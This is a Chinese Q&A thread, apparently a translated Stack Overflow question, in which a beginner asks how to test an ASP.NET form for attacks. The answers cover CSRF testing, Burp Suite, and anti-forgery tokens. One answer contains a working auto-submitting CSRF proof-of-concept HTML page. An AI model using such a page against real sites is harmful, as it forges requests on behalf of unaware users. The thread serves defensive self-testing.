您好我是Web应用程序安全新手。
我想为同样的目的测试我的应用程序。
我有一个表单,其中包含一些字段和提交按钮。
所以用户X登录后他提交了表单,现在我想知道黑客如何攻击我的应用程序。
我看过我需要发布我的aspx页面的html代码。但我不知道如何使用html格式填写不正确的数据来发布表单。那么有什么工具可以测试吗? 或者如果使用我的页面的html,我该如何测试呢?
答案 0 :(得分:0)
我相信你问的是如何测试跨站点防伪而不是实际防御它。作为一个例子,网上有很多关于防御它的信息(http://blog.stevensanderson.com/2008/09/01/prevent-cross-site-request-forgery-csrf-using-aspnet-mvcs-antiforgerytoken-helper/)。
如何测试您当前是否正在对此进行防御的一个示例是登录您的网站,然后打开包含html的另一个选项卡,其中包含要发布到该网站的表单。由于您的会话由浏览器维护,如果您没有提供任何防御机制,网站将授权发布请求。
以下是您将如何进行此操作的示例。
<html xmlns="http://www/w3/org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title></title>
</head>
<body onload="document.getElementById('attacker').submit()">
<form id="attacker" action="https://website-in-question.com/Action" method="post">
<input name="FirstName" value="SomeFirstName" />
<input name="LastName" value="SomeLastName" />
<input name="EmailAddress" value="SomeFirstName.SomeLastName@Hack.com" />
</form>
<p>CROSS SITE REQUEST FORGERY IN PROGRESS....</p>
</body>
此页面中的JavaScript用于演示最终用户可能甚至不知道是否有任何数据代表他们发布,因为表单可能会被隐藏。
您需要使用POST方法的URL替换action属性的内容。
答案 1 :(得分:0)
我找到的最好的工具是:https://portswigger.net/burp/
它具有可以拦截请求并生成CSRF的功能。有关此功能的详细信息,请访问:https://support.portswigger.net/customer/portal/articles/1965674-using-burp-to-test-for-cross-site-request-forgery-csrf-
答案 2 :(得分:-1)
如果是ASP.NET MVC应用程序。我建议您使用AntitForgeryToken。如果它不是ASP.NET MVC那么 在View State中保存会话ID,然后viewstate将像表单标记一样。通过使用一些加密或签名机制保护sessionid并使用SSL来防止嗅探。最后,您只需要验证您的sessionid和ViewState